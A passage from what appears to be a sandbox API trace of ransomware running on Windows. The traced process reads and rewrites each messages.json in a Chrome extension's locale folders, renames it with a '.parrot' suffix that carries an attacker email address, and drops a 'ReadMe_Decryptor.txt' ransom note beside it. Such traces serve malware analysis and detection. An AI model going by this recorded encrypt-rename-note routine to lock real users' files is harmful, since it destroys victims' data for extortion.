Size=0x2c) returned 0x605358 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0054.575] GetLastError () returned 0x0 [0054.575] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d5240 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0054.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5240 | out: hHeap=0x5b0000) returned 1 [0054.576] WriteFile (in: hFile=0x288, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0054.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0054.576] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.576] CloseHandle (hObject=0x288) returned 1 [0054.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d5240 [0054.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5378 [0054.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5240 | out: hHeap=0x5b0000) returned 1 [0054.577] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5378 | out: hHeap=0x5b0000) returned 1 [0054.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0054.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0054.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d5240 [0054.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0054.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0054.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.578] GetFileType (hFile=0x288) returned 0x1 [0054.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0054.675] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.675] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.675] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0054.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0054.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0054.675] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d5028 [0054.675] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf78f1e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf873a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.675] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0054.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.675] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.675] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf78f1e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf78f1e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf873a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.675] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0054.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.675] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0054.676] lstrcmpW (lpString1="cs", lpString2=".") returned 1 [0054.676] lstrcmpW (lpString1="cs", lpString2="..") returned 1 [0054.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0054.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0054.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0054.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240d38 [0054.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d51b0 [0054.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.676] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.676] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.676] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.676] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.676] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.676] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0054.792] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe0 [0054.793] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.793] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.793] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0054.793] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.794] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0054.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0054.794] GetLastError () returned 0x0 [0054.794] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0054.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0054.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0054.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0054.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d53c8 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0054.795] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615450 [0054.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d53c8 | out: hHeap=0x5b0000) returned 1 [0054.795] WriteFile (in: hFile=0x280, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x208, lpOverlapped=0x0) returned 1 [0054.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0054.796] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.796] CloseHandle (hObject=0x280) returned 1 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d53c8 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d5500 [0054.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d53c8 | out: hHeap=0x5b0000) returned 1 [0054.797] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5500 | out: hHeap=0x5b0000) returned 1 [0054.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0054.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240e60 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d53c8 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0054.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0054.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0054.798] GetFileType (hFile=0x280) returned 0x1 [0054.798] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0054.808] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.808] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.808] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf9a4520, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0054.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0054.809] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d51b0 [0054.809] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9a4520, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf9a4520, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf9ca680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0054.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.809] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.809] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf9a4520, 